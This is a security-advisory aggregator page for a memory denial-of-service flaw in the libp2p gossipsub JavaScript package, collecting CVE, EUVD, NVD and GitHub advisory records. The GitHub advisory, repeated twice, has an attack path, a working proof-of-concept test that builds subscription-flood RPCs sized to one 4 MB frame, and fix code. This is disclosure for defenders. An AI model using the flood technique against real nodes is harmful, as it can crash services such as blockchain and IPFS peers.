Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

libp2p: Memory DoS via subscription flood of unique topics

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by @libp2p/gossipsub 15.0.23KEV status unknown

cve-program · CVE-2026-46679

Published

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.

Read the publisher's advisory

euvd · EUVD-2026-36152

Published

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.

Read the publisher's advisory

nvd · CVE-2026-46679

Published

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.

Read the publisher's advisory

osv · GHSA-4f8r-922h-2vgv

Published

### Summary Three cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. 1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC. 2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit. 3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime. A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps). ### Details #### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, // <- no decode-level cap // ... } ``` Passed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error. #### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`) ```typescript let topicSet = this.topics.get(topic) if (topicSet == null) { topicSet = new Set() this.topics.set(topic, topicSet) // new entry per unique topic, no count guard } topicSet.add(from.toString()) ``` `this.topics` (`Map<TopicStr, Set<PeerIdStr>>`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is "not bounded by topic count", but only for the `allowedTopics != null` branch, the default is `null`. #### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`) ```typescript for (const peers of this.topics.values()) { peers.delete(id) // empty Set is NOT removed from this.topics } ``` After disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575–602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime. Secondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects. #### Attack path 1. Attacker dials victim and opens a gossipsub stream. 2. Score 0 > `gossipThreshold = −10` thus subscriptions are processed immediately. No score check gates subscription handling. 3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB. 4. Victim's `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` → 349,525 calls to `handleReceivedSubscription` -> `this.topics` grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked. 5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat. 6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash. ### PoC **Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`): ```bash $ git clone https://github.com/libp2p/js-libp2p.git $ cd js-libp2p $ npm install $ cd packages/gossipsub $ npx aegir build $ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000 ``` File PoC: ```typescript /* eslint-env mocha */ import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { RPC } from '../src/message/rpc.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' // Number of unique topics per attack RPC (for direct injection tests). // Chosen to demonstrate impact without LP-framing; the ENCODE test shows // how many actually fit in one 4 MB frame. const UNIQUE_TOPICS_PER_RPC = 349_000 // Build a protobuf-encoded RPC with N unique SUBSCRIBE entries. // Uses minimal 2-char topic strings ("00".."zz") to maximise packing. // SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry. // Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription. // 4 MB / 8 bytes ≈ 524K subscriptions per frame. function buildSubscriptionFloodRpc (count: number): Uint8Array { const subscriptions = Array.from({ length: count }, (_, i) => ({ subscribe: true, // Sequential 6-char decimal topics: short but still unique topic: i.toString().padStart(6, '0') })) return RPC.encode({ subscriptions, messages: [], control: undefined }) } // Binary-search the exact number of unique 6-char topics that fit in 4 MB. function maxTopicsIn4MB (): number { const MAX_LP_BYTES = 4 * 1024 * 1024 let lo = 1; let hi = 600_000 while (lo < hi) { const mid = (lo + hi + 1) >> 1 if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) { lo = mid } else { hi = mid - 1 } } return lo } describe('PoC: Memory DoS via subscription flood of unique topics', function () { this.timeout(60_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) await connectPubsubNodes(victim, attacker) }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() const topicsBefore = victimPubsub.topics.size as number const heapBefore = process.memoryUsage().heapUsed // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC // unique topics directly via handleReceivedSubscription (the exact function // called synchronously from handleReceivedRpc for each decoded SubOpts entry). const t0 = performance.now() for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-sub-flood-${i.toString().padStart(6, '0')}`, true ) } const elapsed = performance.now() - t0 const topicsAfter = victimPubsub.topics.size as number const heapAfterBytes = process.memoryUsage().heapUsed const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024) const newTopics = topicsAfter - topicsBefore console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`) console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`) console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`) console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`) console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`) // All unique topics must be present in the map — no dedup for unique strings assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC, `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`) // Must be non-trivial heap growth assert.ok(heapGrowthMB > 20, `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`) }) it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() // Flood with unique topics for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-persist-${i.toString().padStart(6, '0')}`, true ) } const topicsBeforeDisconnect = victimPubsub.topics.size as number // Simulate peer disconnect, this removes the peer ID from each Set but // does NOT delete empty Sets from this.topics. const tDisconnect = performance.now() victimPubsub.removePeer(attacker.components.peerId) const disconnectMs = performance.now() - tDisconnect const topicsAfterDisconnect = victimPubsub.topics.size as number console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`) console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`) console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`) console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`) // Topics Map is unchanged in SIZE — empty Sets persist assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect, `this.topics.size should be unchanged after disconnect (empty Sets persist); ` + `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`) // removePeer O(N) scan should take non-trivial time with 349K entries assert.ok(disconnectMs > 5, `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`) // Verify Sets are actually empty (peer removed from each) let emptyCount = 0 for (const [, peers] of victimPubsub.topics) { if ((peers as Set<string>).size === 0) emptyCount++ } assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC, `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`) }) it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () { this.timeout(30_000) const MAX_LP_BYTES = 4 * 1024 * 1024 // Find exact maximum with binary search const maxCount = maxTopicsIn4MB() const rpc = buildSubscriptionFloodRpc(maxCount) const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4 console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`) console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`) console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) assert.ok(maxCount > 100_000, `expected >100K subscriptions per 4 MB frame, got ${maxCount}`) }) }) ``` ### Impact - **Availability (memory)**: single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects. - **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state. - **No score mitigation**: subscription processing has no score check and no score penalty for flooding. - **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`. - **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan. ### Suggested remediation Delete empty Sets on unsubscribe and disconnect: ```typescript // handleReceivedSubscription } else { topicSet.delete(from.toString()) if (topicSet.size === 0) this.topics.delete(topic) } // removePeer for (const [topic, peers] of this.topics) { peers.delete(id) if (peers.size === 0) this.topics.delete(topic) } ``` Clear `this.topics` in `stop()`: ```typescript this.topics.clear() ```

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-46679

Published

libp2p: Memory DoS via subscription flood of unique topics

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.

Source published
10 Jun 2026 21:08:52 UTC
Source modified
11 Jun 2026 14:18:41 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-36152

Published

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default…

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 10, 2026, 9:08:52 PM

dateUpdated: Jun 11, 2026, 2:18:41 PM

Source published
Jun 10, 2026, 9:08:52 PM (timezone not stated)
Source modified
Jun 11, 2026, 2:18:41 PM (timezone not stated)
Saved here
14 Nov 2026 00:10:17 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-46679

Published

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default…

libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-20 · CWE-400 · CWE-401

Original publisher date fields

published: 2026-06-10T22:17:00.300

lastModified: 2026-07-23T09:10:00.113

Source published
10 Jun 2026 22:17:00 UTC
Source modified
23 Jul 2026 09:10:00 UTC
Saved here
25 Oct 2026 12:17:20 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-4f8r-922h-2vgv

Published

js-libp2p: Memory DoS via subscription flood of unique topics

### Summary Three cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. 1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC. 2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit. 3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime. A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps). ### Details #### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, // <- no decode-level cap // ... } ``` Passed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error. #### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`) ```typescript let topicSet = this.topics.get(topic) if (topicSet == null) { topicSet = new Set() this.topics.set(topic, topicSet) // new entry per unique topic, no count guard } topicSet.add(from.toString()) ``` `this.topics` (`Map<TopicStr, Set<PeerIdStr>>`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is "not bounded by topic count", but only for the `allowedTopics != null` branch, the default is `null`. #### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`) ```typescript for (const peers of this.topics.values()) { peers.delete(id) // empty Set is NOT removed from this.topics } ``` After disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575–602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime. Secondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects. #### Attack path 1. Attacker dials victim and opens a gossipsub stream. 2. Score 0 > `gossipThreshold = −10` thus subscriptions are processed immediately. No score check gates subscription handling. 3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB. 4. Victim's `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` → 349,525 calls to `handleReceivedSubscription` -> `this.topics` grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked. 5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat. 6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash. ### PoC **Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`): ```bash $ git clone https://github.com/libp2p/js-libp2p.git $ cd js-libp2p $ npm install $ cd packages/gossipsub $ npx aegir build $ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000 ``` File PoC: ```typescript /* eslint-env mocha */ import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { RPC } from '../src/message/rpc.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' // Number of unique topics per attack RPC (for direct injection tests). // Chosen to demonstrate impact without LP-framing; the ENCODE test shows // how many actually fit in one 4 MB frame. const UNIQUE_TOPICS_PER_RPC = 349_000 // Build a protobuf-encoded RPC with N unique SUBSCRIBE entries. // Uses minimal 2-char topic strings ("00".."zz") to maximise packing. // SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry. // Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription. // 4 MB / 8 bytes ≈ 524K subscriptions per frame. function buildSubscriptionFloodRpc (count: number): Uint8Array { const subscriptions = Array.from({ length: count }, (_, i) => ({ subscribe: true, // Sequential 6-char decimal topics: short but still unique topic: i.toString().padStart(6, '0') })) return RPC.encode({ subscriptions, messages: [], control: undefined }) } // Binary-search the exact number of unique 6-char topics that fit in 4 MB. function maxTopicsIn4MB (): number { const MAX_LP_BYTES = 4 * 1024 * 1024 let lo = 1; let hi = 600_000 while (lo < hi) { const mid = (lo + hi + 1) >> 1 if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) { lo = mid } else { hi = mid - 1 } } return lo } describe('PoC: Memory DoS via subscription flood of unique topics', function () { this.timeout(60_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) await connectPubsubNodes(victim, attacker) }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() const topicsBefore = victimPubsub.topics.size as number const heapBefore = process.memoryUsage().heapUsed // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC // unique topics directly via handleReceivedSubscription (the exact function // called synchronously from handleReceivedRpc for each decoded SubOpts entry). const t0 = performance.now() for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-sub-flood-${i.toString().padStart(6, '0')}`, true ) } const elapsed = performance.now() - t0 const topicsAfter = victimPubsub.topics.size as number const heapAfterBytes = process.memoryUsage().heapUsed const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024) const newTopics = topicsAfter - topicsBefore console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`) console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`) console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`) console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`) console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`) // All unique topics must be present in the map — no dedup for unique strings assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC, `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`) // Must be non-trivial heap growth assert.ok(heapGrowthMB > 20, `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`) }) it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() // Flood with unique topics for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-persist-${i.toString().padStart(6, '0')}`, true ) } const topicsBeforeDisconnect = victimPubsub.topics.size as number // Simulate peer disconnect, this removes the peer ID from each Set but // does NOT delete empty Sets from this.topics. const tDisconnect = performance.now() victimPubsub.removePeer(attacker.components.peerId) const disconnectMs = performance.now() - tDisconnect const topicsAfterDisconnect = victimPubsub.topics.size as number console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`) console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`) console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`) console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`) // Topics Map is unchanged in SIZE — empty Sets persist assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect, `this.topics.size should be unchanged after disconnect (empty Sets persist); ` + `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`) // removePeer O(N) scan should take non-trivial time with 349K entries assert.ok(disconnectMs > 5, `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`) // Verify Sets are actually empty (peer removed from each) let emptyCount = 0 for (const [, peers] of victimPubsub.topics) { if ((peers as Set<string>).size === 0) emptyCount++ } assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC, `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`) }) it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () { this.timeout(30_000) const MAX_LP_BYTES = 4 * 1024 * 1024 // Find exact maximum with binary search const maxCount = maxTopicsIn4MB() const rpc = buildSubscriptionFloodRpc(maxCount) const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4 console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`) console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`) console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) assert.ok(maxCount > 100_000, `expected >100K subscriptions per 4 MB frame, got ${maxCount}`) }) }) ``` ### Impact - **Availability (memory)**: single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects. - **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state. - **No score mitigation**: subscription processing has no score check and no score penalty for flooding. - **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`. - **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan. ### Suggested remediation Delete empty Sets on unsubscribe and disconnect: ```typescript // handleReceivedSubscription } else { topicSet.delete(from.toString()) if (topicSet.size === 0) this.topics.delete(topic) } // removePeer for (const [topic, peers] of this.topics) { peers.delete(id) if (peers.size === 0) this.topics.delete(topic) } ``` Clear `this.topics` in `stop()`: ```typescript this.topics.clear() ```

Source published
21 May 2026 21:38:40 UTC
Source modified
10 Sep 2026 03:50:45 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 12:11 UTC · 256 of 275 readable · 252 fully read · documentation 469/469 current